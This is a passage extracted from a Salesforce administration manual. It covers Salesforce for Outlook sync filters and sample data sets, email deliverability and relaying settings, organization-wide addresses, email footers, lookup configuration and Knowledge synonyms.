Contact filters control the number of records that Salesforce for Outlook users can sync between Outlook and Salesforce. Note
the following when using contact filters.

1028

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

The criteria you specify are AND based, so if you specify more than one criterion, the result includes only records that
match all of the criteria.
If entering a date, use the format allowed by your Locale setting. You can also use special date values like TODAY,
NEXT WEEK, NEXT YEAR, LAST <number> DAYS, and so on.
When searching for numbers or other data that includes commas, place quotation marks around the data. For example:
Amount equals "10,000" returns records that have an amount of $10,000.
When you use the less than, greater than, less or equal, or greater or equal operators on fields that have numeric
values, records with blank or null values are returned as if their value is zero (0).
To limit results to records that are blank or contain null values for a particular field, choose the field and the equals or
not equal to operators, leaving the third field blank. For example, Amount equals returns records with blank amount
fields. You can search for blank values or other specified values at the same time. For example, Amount equals 1,,2
returns records where the Amount is blank or contains the value 1 or 2. For example, if you create a workflow a filter
for accounts with the criteria Annual Revenue less than 100000, account records match if their Annual
Revenue is blank.
To search for phone numbers, you might need to include the exact phone number formatting; for example, Phone starts
with (561).
To create a filter that includes more than one value, enter your search terms, separated by commas, in the corresponding
field. You can enter up to 80 characters, including commas and spaces. For example, to search for accounts in California,
New York, or Washington, use State contains CA, NY, WA.
When you filter on standard long text area fields, such as Description, only the first 1000 characters of the field are
searched.
You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user
based on the configuration's filters.
If you need to reference user information in your contact filters, you can add the following merge fields to them.
Merge Field

Description

$User.ID

References the ID of the current user. This merge field can


be applied to fields that contain a user lookup. The valid
operators for this merge field are Equals and Not Equal To.
When creating mobile view filters that reference an owner
field, you can only use the $User.ID merge field.

$User.Username

References the username of the current user. This merge


field can be applied to any text or lookup field, except
picklists. The valid operators for this merge field are Equals,
Not Equal To, Greater Than or Equal, Less Than or Equal,
Contains, Does Not Contain, and Starts With.

$User.Firstname

References the first name of the current user. This merge


field can be applied to any text or lookup field, except
picklists. The valid operators for this merge field are Equals,
Not Equal To, Greater Than or Equal, Less Than or Equal,
Contains, Does Not Contain, and Starts With.

$User.Lastname

References the last name of the current user. This merge


field can be applied to any text or lookup field, except
picklists. The valid operators for this merge field are Equals,
Not Equal To, Greater Than or Equal, Less Than or Equal,
Contains, Does Not Contain, and Starts With.

1029

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Merge Field

Description

$User.Fullname

References the first and last name of the current user. This
merge field can be applied to any text or lookup field, except
picklists. The valid operators for this merge field are Equals,
Not Equal To, Greater Than or Equal, Less Than or Equal,
Contains, Does Not Contain, and Starts With.

See Also:
Entering Contact Filters for Salesforce for Outlook
Defining Data Sets for Salesforce for Outlook
Checking the Size of Salesforce for Outlook Data Sets

Entering Event Filters for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

To create, edit, or delete data sets:

Sync Direction can't be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit
which records will sync. For example, most users may sync only current and future events, while some users may need to also
sync past events. Salesforce for Outlook syncs events based on their end dates rather than their start dates. For example, if
you're syncing current and future events only, a two-day event that started yesterday still syncs.
The Data Sets section of the Outlook Configuration detail page shows a summary of the configuration's current event filters.
1. Define a data set for a configuration.
2. Under Events, enter one of these filters in the Greater or equal to field.

TODAYSyncs events that end on or after today. The start time is 12:00 a.m.
LAST MONTHSyncs events that ended on or after the first day of last month.
LAST N DAYSSyncs events that ended on or after a specified number of days ago, such as LAST 30 DAYS.

3. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user
based on the configuration's filters.
4. Save the data set.

1030

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Note: The following items don't sync: recurring events, all-day events beginning on the first day you're configured
to sync, and event attendees. Multiday events sync as single events in either direction. Multi-day events do sync.

See Also:
Sample Salesforce for Outlook Data Sets
Syncing Events with Salesforce for Outlook
Checking the Size of Salesforce for Outlook Data Sets

Entering Task Filters for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

To create, edit, or delete data sets:

Sync Direction can't be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit
which records will sync. For example, most users may sync past-due tasks, while other users sync only current and future tasks.
Salesforce for Outlook syncs tasks based on their due dates rather than their start dates. For example, if you're syncing current
and future tasks only, a task that started yesterday still syncs.
The Data Sets section of the Outlook Configuration detail page shows a summary of the configuration's current task filters.
To enter task filters:
1. Define a data set for a configuration.
2. Under Tasks, enter one of these filters in the Greater or equal to field.

TODAYSyncs tasks that are due on or after today. The start time is 12:00 a.m.
LAST MONTHSyncs tasks that were due on or after the first day of last month.
LAST N DAYSSyncs tasks that were due on or after a specified number of days ago, such as LAST 30 DAYS.

3. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user
based on the configuration's filters.
4. Save the data set.

1031

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Note: Recurring tasks and items flagged for follow-up on your Outlook To-Do list don't sync.

See Also:
Sample Salesforce for Outlook Data Sets
Syncing Tasks with Salesforce for Outlook
Salesforce for Outlook Configurations Overview

Sample Salesforce for Outlook Data Sets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Because Salesforce for Outlook users with the same role usually have similar data requirements, many administrators create
Outlook configurations based on the positions in their organization. Below are sample data sets for common Salesforce groups.
Your Outlook users have unique needs, but you can use these examples as a reference to help you get started with Outlook
configurations.
Sales Manager
Sales managers usually need to see records they own and the records of the users who report to them. In addition, they
need to see the latest contact information for anyone associated with large deals in the pipeline and any upcoming
meetings that might be related to these deals. They may also like to have their Chatter contacts in Outlook.
Sample Outlook Configuration for Sales Managers:
Contacts
Contacts: User's Records, User's Team's Records
Contacts on Opportunities: User's Team's Records
Contacts on Accounts: User's Team's Records
Contacts in Chatter: Records User is Following
Events
Events: User's Records
Date greater or equal TODAY
Tasks
Tasks: User's Records
Date greater or equal TODAY

Sales Engineer
Sales Engineers often only need the contacts owned by them and the other members of their sales teams. They may also
want their Chatter contacts, a record of the past month's meetings, and a schedule of all future meetings.
Sample Outlook Configuration for Sales Engineers:
Contacts
Contacts: User's Records
Contacts on Opportunities: User's Sales Teams' Records
Contacts in Chatter: Records User is Following

1032

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Events
Events: User's Records
Date greater or equal LAST MONTH
Tasks
Tasks: User's Records
Date greater or equal LAST MONTH

Account Executive
Account executives need to see contacts related to their accounts and opportunities. The opportunities are filtered so
only contacts related to open opportunities with a probability over 40% sync. They'd also like to sync their Chatter
contacts, all future meetings, and all meetings from the last two months.
Sample Outlook Configuration for Account Executives:
Contacts
Contacts on Opportunities: User's Records
(Probability (%) greater than 40) AND (Stage not equal to Closed Won,Closed Lost
Contacts on Accounts: User's Records
Contacts in Chatter: Records User is Following
Events
Events: User's Records
Date greater or equal LAST 60 DAYS
Tasks
Tasks: User's Records
Date greater or equal LAST 60 DAYS

See Also:
Defining Data Sets for Salesforce for Outlook
Entering Contact Filters for Salesforce for Outlook
Entering Event Filters for Salesforce for Outlook
Entering Task Filters for Salesforce for Outlook

Checking the Size of Salesforce for Outlook Data Sets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view Outlook data sets:

View Setup and Configuration

To test Outlook data sets:

Manage Email Client Configurations

You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user
based on the configuration's filters. If the numbers are too high or low, you can adjust the filters and check the size again. The
maximum record count is 5000 per object.

1033

Email Administration

Configuring Deliverability Settings

1. Define a data set for a configuration.


2. Under Data Set Size, click the lookup icon next to the User field.
3. Select a user. To test maximum size, choose a user who owns a lot of records, even one who may not be currently assigned
to the configuration.
4. Click Get Record Count. The number of records that would sync between Outlook and Salesforce for that user appear.
5. Adjust the filters or selected user and retest the data set as needed. Nothing is saved until you click Save.

See Also:
Defining Data Sets for Salesforce for Outlook

EMAIL ADMINISTRATION
Configuring Deliverability Settings
Available in: All Editions except Database.com

User Permissions Needed


To configure email deliverability:

Customize Application

To improve the deliverability of email you send from Salesforce, configure your organization's email deliverability settings.
Email deliverability is the likelihood of a companys or individuals email reaching its intended recipient. This likelihood is
adversely affected by:
Bounced email
Email that is addressed to an invalid recipient and returned to the sender. If a sender sends several email messages that
bounce, the email server might slow or block the delivery of all email from that sender.
Noncompliant email
Email that does not comply with a recipient's email security framework, such as the Sender Policy Framework (SPF),
which verifies that the From address in an email message is not forged.
Caution: If you plan to activate both bounce management and email relaying, check with your email administrator
to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the
email you send from Salesforce may not get delivered. For information on email relaying, see Setting Up Email Relaying
on page 1038.
To configure the email deliverability settings for your organization:
1. Click Your Name > Setup > Email Administration > Deliverability.

1034

Email Administration

Configuring Deliverability Settings

2. Select the Activate bounce management checkbox to help ensure that the email addresses you have for your contacts,
leads, and person accounts are correct, and that the email your users send to those addresses is not impeded due to excessive
email bounces.
When bounce management is activated and a user sends an email to a contact, lead, or person account with an invalid
email address, Salesforce displays an alert next to that email address and prevents users from sending email to the address
until it is updated or confirmed. Also, the email bounces to Salesforce instead of the sender's personal email account.
Tip: Use the Bounced Contacts and Bounced Leads standard reports to view a list of email all addresses that have
bounced email. The report includes the reason the email was bounced, the date the bounce occurred, and the
contact, lead, or person account that bounced the email. See Reports Overview on page 2913 for more information.
3. Select the Show bounce alert next to all instances of the email address checkbox to configure
Salesforce to search all lead, contact, and person account records for instances of any email address that bounces an email
and to display a bounce alert next to each instance. If you do not select this option, Salesforce only displays the bounce
alert on the record from which the email was originally sent.
4. Select the Return bounced email to sender checkbox to configure Salesforce to send a copy of the bounced email
header to the sender. If you do not select this option, only Salesforce receives the bounced email header. In either case, for
security purposes Salesforce does not return the body of the bounced email to the sender. This option applies to all users
in your organization and cannot be enabled per user or per email.
5. Select the Enable compliance with standard email security mechanisms checkbox to automatically modify
the envelope From address of every email you send from Salesforce to comply with email security frameworks that your
recipients might implement, such as SPF.
Many recipient email systems enforce SPF to verify whether an email is legitimate. SPF checks the envelope From address
of an inbound email to verify legitimacy. If this feature is enabled, Salesforce changes the envelope From address to a
salesforce.com email address to verify the sender's legitimacy. The header From address remains set to the sender's email
address.
Note: For more information on SPF, see www.openspf.org.

6. Select the Enable Sender ID compliance checkbox to comply with the Sender ID framework. This will automatically
populate the Sender field in the envelope of every email you send from Salesforce with no-reply@salesforce.com.
This enables receiving mail servers using the Sender ID email authentication protocol to verify the sender of an email by
examining the Sender and From headers of an inbound email through a DNS lookup. All replies will still be delivered
to the sender's email address. If you do not select this checkbox, the Sender field is set to null and email delivery fails
when a recipient email system performs a Sender ID check.
Note:

We recommend enabling Sender ID compliance only if you have recipients using the Sender ID email
authentication protocol, which isnt widely used.
If you enable Sender ID compliance, the recipient's email client (not Salesforce) may append the phrase Sent
on behalf of to the From field of email received from Salesforce.
For more information on Sender ID, see www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx.

7. If you want Salesforce to send users a status email when their mass emails are complete, select Notify sender when
mass email completes.
8. To specify how Salesforce uses the Transport Layer Security (TLS) protocol for secure email communication for SMTP
sessions, choose one of the following:

1035

Email Administration

Enabling Compliance BCC Emails

Preferred (default): If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS. If

TLS is unavailable, Salesforce continues the session without TLS.


Required: Salesforce continues the session only if the remote server offers TLS. If TLS is unavailable, Salesforce
terminates the session without delivering the email.
Preferred Verify: If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS.
Before the session initiates, Salesforce verifies the certificate is signed by a valid certificate authority, and that the
common name presented in the certificate matches the domain or mail exchange of the current connection. If TLS is
available but the certificate is not signed or the common name does not match, Salesforce disconnects the session and
does not deliver the email. If TLS is unavailable, Salesforce continues the session without TLS.
Required Verify: Salesforce continues the session only if the remote server offers TLS, the certificate is signed by
a valid certificate authority, and the common name presented in the certificate matches the domain or mail exchange
to which Salesforce is connected. If any of these criteria are not met, Salesforce terminates the session without delivering
the email.
Note: If you select a setting other than Preferred (the default setting), select Restrict TLS to these
domains and specify a comma-separated domain list. The asterisk (*) wildcard is allowed; for example,
*.subdomains.com matches john@aco.subdomains.com and john@bco.subdomains.com (but not
john@subdomains.com). If you don't specify domains, Salesforce uses the TLS setting you specify for all outbound
emails, which may result in emails not being delivered.

9. Click Save.

See Also:
Sending Email
Enabling Compliance BCC Emails
Setting Up Email Relaying
Testing Deliverability

Enabling Compliance BCC Emails


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable or disable compliance BCC email:

Customize Application

If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to
automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance BCC
emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under My Email
Settings.
To enable compliance BCC emails for your organization:
1. Click Your Name > Setup > Email Administration > Compliance BCC Email.
2. Select the Enable checkbox.

1036

Email Administration

Testing Deliverability

3. Enter your compliance email address.


4. Click Save.
Note: The BCC email is automatically sent to the address you specify for any emails your users send, excluding system
emails such as password reset or import completion notifications.

See Also:
Configuring Deliverability Settings
Setting Up Email Relaying
Testing Deliverability

Testing Deliverability
Available in: All Editions except Database.com

User Permissions Needed


To test email deliverability:

Modify All Data

Salesforce sends email from 52 different IP addresses. If your organization blocks any of these IP addresses, users might not
receive all email sent from Salesforce.
To verify your organization can receive email from every Salesforce IP address:
1. Click Your Name > Setup > Email Administration > Test Deliverability.
2. Enter your business email address.
3. Click Send. Salesforce simultaneously sends a test message from all 52 IP addresses to your business email address. Each
test message specifies the IP address from which it was sent.
4. Check your business email account to make sure it received all 52 test messages.
If you received less than 52 test messages, your organization's email administrator must whitelist the Salesforce IP ranges on
your organization's email server. Whitelisting an IP address allows the email server to receive email from an IP address that
might otherwise be blocked. The Salesforce IP ranges are:

96.43.144.64 to 96.43.144.65
96.43.148.64 to 96.43.148.65
182.50.78.64 to 182.50.78.79
204.14.232.64 to 204.14.232.79
204.14.234.64 to 204.14.234.79
Note: If your organization activates email relaying, your email administrator only needs to whitelist the IP addresses
Salesforce uses for email relaying (96.43.144.65, 96.43.148.65, 182.50.78.65, 204.14.232.65, and 204.14.234.65). For
information on email relaying, see Setting Up Email Relaying on page 1038.

1037

Email Administration

Setting Up Email Relaying

Salesforce.com maintains separate IP addresses for inbound and outbound email. The IP addresses used for outbound email
dont accept inbound email connections.

See Also:
Configuring Deliverability Settings
Enabling Compliance BCC Emails

Setting Up Email Relaying


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure email relaying:

Modify All Data

Email relaying is using an email server to send email that did not originate on the email server. Companies set up email relaying
to:

Route all email through their own email servers to avoid the appearance of email spoofing by Salesforce. Email spoofing
is the forging of email headers to make messages appear as if they came from someone other than the original sender.
Store copies of all email as required by government regulations in various industries.
Apply existing content filters that scan messages for data and content that is not approved to be sent out through company
email.
Run outbound email through antivirus software before sending it to customers.
Append data such as company-wide disclaimers at the bottom of email messages.

You can set up email relaying for Salesforce-generated email by configuring Salesforce to automatically route email through
your company's Simple Mail Transfer Protocol (SMTP) server. Contact salesforce.com to enable email relaying for your
organization.
Caution: If you plan to activate both bounce management and email relaying, check with your email administrator
to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the
email you send from Salesforce may not get delivered. For more information on bounce management, see Configuring
Deliverability Settings on page 1034.
To set up email relaying:
1. Click Your Name > Setup > Email Administration > Email Relay Activation.
2. Configure the following settings:

1038

Email Administration

Setting Up Email Relaying

Setting

Description

Email Host

The host name or IP address of your company's SMTP


server. Obtain this information from your email
administrator.
Important: If you plan to use Transport Layer
Security (TLS) with this connection, enter the host
name instead of the IP address. TLS requires the
host name for verifying certificates.
For host names, use the following format:
<mail server>.<domain>.<domain extension>

For example:
mail.acme.com

Port

The port number of your company's SMTP server. Obtain


this information from your email administrator. Email
relaying is supported on port numbers 25, 587, 10025, and
11025.

TLS Setting

Specifies whether Salesforce uses TLS for SMTP sessions.


Select one of the following options:
Preferred (default): If the remote server offers TLS,
Salesforce upgrades the current SMTP session to use
TLS. If TLS is unavailable, Salesforce continues the
session without TLS.
Required: Salesforce continues the session only if the
remote server offers TLS. If TLS is unavailable,
Salesforce terminates the session without delivering the
email.
Preferred Verify: If the remote server offers TLS,
Salesforce upgrades the current SMTP session to use
TLS. Before the session initiates, Salesforce verifies the
certificate is signed by a valid certificate authority, and
that the common name presented in the certificate
matches the domain or mail exchange of the current
connection. If TLS is available but the certificate is not
signed or the common name does not match, Salesforce
disconnects the session and does not deliver the email.
If TLS is unavailable, Salesforce continues the session
without TLS.
Required Verify: Salesforce continues the session
only if the remote server offers TLS, the certificate is
signed by a valid certificate authority, and the common
name presented in the certificate matches the domain or

1039

Email Administration

Organization-Wide Addresses

Setting

Description
mail exchange to which Salesforce is connected. If any
of these criteria are not met, Salesforce terminates the
session without delivering the email.

Restrict Relay to Domains

Specifies whether to restrict the email relaying functionality


to certain domains. If you select this option, enter the names
of those domains separated by commas in the text field
below. (The asterisk (*) wildcard is allowed; for example,
*.subdomains.com matches john@aco.subdomains.com
and john@bco.subdomains.com (but not
john@subdomains.com)). This causes Salesforce to route
email to your company's SMTP server only if the email is
addressed to one of the listed domains. If you select the
checkbox but do not list any domains, Salesforce routes all
email to your company's SMTP server.

Active

Enables email relaying for your organization. If you deselect


this checkbox, Salesforce keeps the email relay configuration
but does not route email to your company's email server.

3. Click Save.
Salesforce recommends sending a test message each time you change the email relay configuration.

See Also:
Configuring Deliverability Settings
Enabling Compliance BCC Emails
Testing Deliverability

Organization-Wide Addresses
Available in: All Editions except Database.com

User Permissions Needed


To configure organization-wide addresses:

Modify All Data

If your organization requires users to share a common email alias, you can define a list of organization-wide addresses for each
user profile. Organization-wide addresses define a common email address that a user profile can use. When sending email
from Salesforce, users with these profiles can choose a different From address than the email address they have defined. Replies
are delivered to the organization-wide address.

1040

Email Administration

Organization-Wide Addresses

For example, assume your organization has several users under a single Support Profile. A Support Profile can be associated
with an email address called support@acme.com and a Display Name of Acme Support. When Support Profile users
send an outbound email through Salesforce, they can choose to have their From address appear as support@acme.com
instead of their own Salesforce email address.
The highlighted sections in the following image represents the changes to the From address and Display Name that the
recipient of an email might see:

After an organization-wide address is verified, it is available as a From address when sending an email or an email alert.
To display the list of defined organization-wide addresses, click Your Name > Setup > Email Administration >
Organization-Wide Addresses. From this page you can:

Click Add to create a new organization-wide address.


Click Edit to change any of the fields associated with the alias:

Display Name is the word or phrase users who receive your email will see as the sender of the email.
Email Address is the email address that is used when sending an outbound email.
Allowed Profiles lists the profiles which use the email address as an alias.
Status shows the current stage of verification. When you add a new organization-wide address, it must be verified

as a valid email address before becoming available for use. If you have not received your verification email, click Resend
to have another one sent.

Click Del to remove the alias.


Note: You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request. You cannot
delete or change an organization-wide email address if it is used by an email alert.

See Also:
User Profiles Overview
Managing Organization-Wide Email Footers

1041

Email Administration

Defining Organization-Wide Addresses

Defining Organization-Wide Addresses


Available in: All Editions except Database.com

User Permissions Needed


To configure organization-wide addresses:

Modify All Data

To define an organization-wide address for a user profile:


1. Click Your Name > Setup > Email Administration > Organization-Wide Addresses.
2. Click Add.
3. Enter a Display Name. The display name identifies how your name appears on outbound emails. The maximum length
is 300 characters.
4. Enter the Email Address you would like to use as an alias. This can be any standard email address. The maximum length
is 270 characters.
5. Select Allow All Profiles to Use this From Address if you want every user profile in your organization to
be able to use the new From address. Otherwise, select Allow Only Selected Profiles to Use this From
Address to choose from existing user profiles.
6. Click Save to save your changes, or Save and New to define another organization-wide address. A verification email is
sent to the new email address which includes a link that you click to complete the verification process. The From address
will not be available for use until you access the email and click this link. Click Cancel to return to the previous page
without saving.
Note: You cannot delete or change an organization-wide email address if it is used by an email alert.

To use an organization-wide address, send an email or set up an email alert, and choose your organization-wide address from
the drop-down list.

See Also:
User Profiles Overview

1042

Email Administration

Enabling Email to Salesforce

Enabling Email to Salesforce


Available in: All Editions except Database.com

User Permissions Needed


To enable or disable Email to Salesforce:

Modify All Data

If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to leads, contacts,
opportunities, and other records in Salesforce. When composing, forwarding, or replying to email, simply enter your Email
to Salesforce address in the BCC field or any recipient field. Salesforce receives a copy of the email and, depending on your
configuration, adds it to either the Activity History related list of the matching records or to the My Unresolved Items page,
where you can manually assign it.
To enable Email to Salesforce for your organization:
1.
2.
3.
4.

Click Your Name > Setup > Email Administration > Email to Salesforce.
Click Edit.
Select the Active checkbox.
Optionally, select the Advanced Email Security Settings checkbox to configure Email to Salesforce to verify the
legitimacy of the sending server before processing a message. Email to Salesforce uses the following authentication protocols
to verify the sender's legitimacy:

SPF
SenderId
DomainKeys

If the sending server passes at least one of these protocols and does not fail any protocols, Email to Salesforce accepts the
email. If the server fails a protocol or does not support any of the protocols, Email to Salesforce ignores the email.
Tip: Before selecting the Advanced Email Security Settings checkbox, ensure that the senders you expect
to use Email to Salesforce support at least one of the authentication protocols listed above.
5. Click Save.
6. Optionally, click Send Notification Email to notify users that Email to Salesforce is activated, or click Skip This Step.
After enabling Email to Salesforce, Salesforce creates a unique Email to Salesforce address for each user. Users can click Your
Name > Setup > Email > My Email to Salesforce to view their unique Email to Salesforce address and customize their settings.
For more information, see Guidelines on Using Email to Salesforce on page 269.

See Also:
What are Email Services?
Using Gmail in Salesforce
Guidelines on Using Email to Salesforce

1043

Email Administration

Deleting Email Attachments Sent as Links

Deleting Email Attachments Sent as Links


Available in: All Editions except Database.com

User Permissions Needed


To delete email attachments sent as links:

Modify All Data

You can find and delete attachments sent as links. Recipients who subsequently click on the attachment link see a message
asking them to contact the email sender to view the attachment. You can search only within your organization's email retention
period (typically 30 days, but contact salesforce.com Support for your organization's details).
To find and delete email attachments sent as links:
1. Click Your Name > Setup > Email Administration > Attachments Sent as Links
2. Enter either of these:

File name (optional), username, and date range:


Optionally, attachment file name, including the file extension (for example, ThisYearResults.pdf). You can
use wildcards (for example, ThisYearRes would find ThisYearResults.pdf).
Sender's username
Date range during which the email was sent

Attachment URL: Click the attachment link (.html) in the email to open it in a browser, and copy and paste the
URL.

3. Click Search.

Search results show up to 100 matching entries.


If the attachment was sent using mass email, search results show one entry for every 100 emails sentdelete one of
these entries to delete the attachment.

4. In Search Results, click Del next to the attachment you want to delete. Recipients who subsequently click on the attachment
link see a message asking them to contact the email sender to view the attachment.
Note: You cannot recover deleted attachments from the Recycle Bin.

1044

Email Administration

Managing Organization-Wide Email Footers

Managing Organization-Wide Email Footers


Available in: All Editions except Database.com

User Permissions Needed


To create and edit email footers:

Modify All Data

You can create personalized footers or disclaimers that appear at the bottom of all outgoing email messages sent from Salesforce
or the API. You can create a separate email footer for each encoding and choose default footers for single and mass email.
The defaults are used when no footer matches an outgoing email's encoding.

Creating Email Footers


1.
2.
3.
4.
5.

Click Your Name > Setup > Email Administration > Email Footers.
Click New.
Enter a name.
Choose if you want the footer to be available for single emails, mass emails, or both.
Select the email encoding. The email encoding determines which emails the footer appears on. For each encoding you can
have one active single email footer and one active mass email footer.
6. Enter the text of the footer.
Note: Footers are text only; HTML tags aren't rendered. Maximum is 32 KB.

Editing Email Footers


1. Click Your Name > Setup > Email Administration > Email Footers.
2. To edit an email footer, either click Edit next to a footer or on the footer detail page.
3. Edit the footer information and click Save.

Choosing Default Email Footers


You can choose one default footer for single email and one for mass email. These defaults are used when no footer matches
an outgoing email's encoding.
1. Click Your Name > Setup > Email Administration > Email Footers.
2. Using Default for Single Mail and Default for Mass Mail, select default footers.
3. Click Save.
Note: If you don't click Save, your default footer choice is lost when you leave the page.

Deactivating Email Footers


You can deactivate an email footer without deleting it.

1045

Search and Tags

Customizing Users' Search Results Filters

1. Click Your Name > Setup > Email Administration > Email Footers.
2. Uncheck the Single and Mass checkboxes next to the footer.
3. Click Save.

SEARCH AND TAGS


Customizing Users' Search Results Filters
Available in: All Editions except Database.com

User Permissions Needed


To change search layouts:

Customize Application

To customize an object's search results filters for all users:


1.
2.
3.
4.

On the Search Results page, in an object's related list, click Customize... > Filters for All Users.
To choose columns, use Add and Remove.
To reorder columns, use Up and Down.
Click Save.

See Also:
Search Results
Customizing Search Results Columns

Configuring Lookups
Available in: All Editions except Database.com

Administrators can configure lookups by:

Enabling enhanced lookups


Specifying lookup filter fields
Enabling lookup auto-completion

1046

Search and Tags

Configuring Lookups

Creating lookup filters that limit the valid values and lookup dialog results for the relationship field

See Also:
Lookup Dialog Search

Enabling Enhanced Lookups


Available in: All Editions except Database.com

User Permissions Needed


To enable enhanced lookups:

Customize Application

Enable enhanced lookups so users can use wildcards in their lookups and sort, filter, and page through their results.
1. Click Your Name > Setup > Customize > Search > Search Settings.
2. In the Lookup Settings area, select the objects for which you want to enable enhanced lookup functionality. Currently,
only account, contact, user, and custom object lookups can use this feature.
3. Click Save.
After enabling enhanced lookups, specify which fields users can use to filter lookup search dialog results. If you don't specify
any fields, your users can't use filters in enhanced lookup dialogs.
Note: If you enable enhanced lookups in your organization, it is also enabled for any Visualforce pages you create.

See Also:
Configuring Lookups

Specifying Lookup Filter Fields


Available in: All Editions except Database.com

User Permissions Needed


To specify lookup filter fields:

Customize Application

After enabling enhanced lookups, specify which fields users can use to filter lookup search dialog results. If you don't specify
any fields, your users can't use filters in enhanced lookup dialogs.

1047

Search and Tags

Configuring Lookups

1. Take the action for the type of object you want.

For accounts, contacts, or users:


a. Click Your Name > Setup > Customize.
b. Select Accounts, Contacts, or Users.
c. Click Search Layouts.

For custom objects:


a. Click Your Name > Setup > Create > Objects.
b. Click the name of the object you want.
c. Scroll to the Search Layouts related list.

2. Click Edit next to the Lookup Filter Fields layout.


3. Use the arrows to add or remove fields from the layout and to define the order in which the fields should display. You can
add up to six filter fields to the Selected Fields list. To select more than one field, use CTRL+click, or SHIFT+click to
select multiple items in a range.
4. Click Save.

See Also:
Lookup Dialog Search
Configuring Lookups

Enabling Lookup Auto-Completion


Available in: All Editions except Database.com

User Permissions Needed


To enable lookup auto-completion:

Customize Application

To use lookup auto-completion:

Edit on the record that includes the lookup field

With lookup auto-completion, users can select items from a dynamic list of matching, recently used records when editing a
lookup field. Lookup auto-completion is available on account, contact, user, and custom object lookups. To enable it:
1. Click Your Name > Setup > Customize > Search > Search Settings.
2. In the Search Settings area, select the object lookups for which you want to enable auto-completion. Currently, only
account, contact, user, and custom object lookups can use this feature.
3. Click Save.

See Also:
Configuring Lookups

1048

Search and Tags

Managing Salesforce Knowledge Synonyms

Managing Salesforce Knowledge Synonyms


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete synonym groups:

Manage Synonyms

Salesforce Knowledge synonyms are words or phrases that are treated as equivalent in article searches, letting you optimize
search results. When searching articles, users can enter search terms that don't match any terms in your articles, but are
synonymous with those terms.
For example, if you define a synonym group with these synonyms:
CRM, customer relationship management, Salesforce
then a search for customer relationship management matches articles containing customer relationship management,
as well as articles containing CRM or Salesforce.
When building synonym groups, work with knowledge managers and other subject matter experts in your organization to
create relevant synonyms.
To view and manage synonyms, click Your Name > Setup > Customize > Search > Knowledge Synonyms.

To create a synonym group:


1. Click New.
2. Enter at least two synonyms. A synonym can be any word or phrase.
3. Select at least one language. If the synonyms are specific to a single language, select only that language. For example,
if zum biespiel and zB applies to German users only, select only German. If the synonyms apply regardless of the language
your users are searching in, select several languages for one synonym group. For example, if the synonym group Business
Objects and BO applies to English, German, and Spanish users, select all of these languages.
4. Click Save.
You can add up to 300 synonym groups.
Note: You can't use the following symbols in synonyms:
Symbol

Description

Asterisk

Question mark

"

Quotation mark

Open parenthesis

Closed parenthesis

1049

Customize

Customization Overview

To filter a long list of groups, click Show Filters, then in the Synonyms field, enter part or all of a synonym, and click
Apply Filters.
To edit a synonym group, click Edit next to the synonym group, then update as needed.
To delete a synonym group, click Del next to the synonym group.

See Also:
How Salesforce Knowledge Synonyms Work in Searches
Searching for Articles

CUSTOMIZE
Customization Overview
The available customization options vary according to which Salesforce Edition you have.

User Permissions Needed


To view setup options:

View Setup and Configuration

To customize your organization:

Customize Application

You can customize each of the standard tabs and types of records, including adding custom fields and setting page layouts.
You can also customize search, tagging, and user interface options for your organization. In addition, every Contact Manager,
Group, Professional, Enterprise, and Unlimited Edition user can customize various personal display options.
To tailor Salesforce for your organization, you can customize the display of the various tabs and other items. Click Your Name
> Setup > Customize and then select a link to view the following customization options:
Tab Names and Labels
Rename the labels for standard Salesforce tabs and fields.
Home
Add a logo, dashboard, or links to the Home tab and create additional home page layouts for different users.
Activities
Customize various options for tasks and events such as fields, page layouts, record types, validation rules, search layouts,
and buttons. Also, enable or disable functionality like activity reminder popups and recurring events.
Campaigns
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also
configure Campaign Influence.

1050

Customize

Customization Overview

Campaign Member
(Located under Campaigns) Edit fields, create validation rules and triggers, control the layout, and create custom
buttons and links.
Leads
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up lead queues, assignment rules, lead settings, and online lead capture.
Accounts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up account
teams.
Person Accounts
(Located under Accounts) Control the layout of fields, related lists, and custom links, and manage record types.
Contacts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.
Opportunities
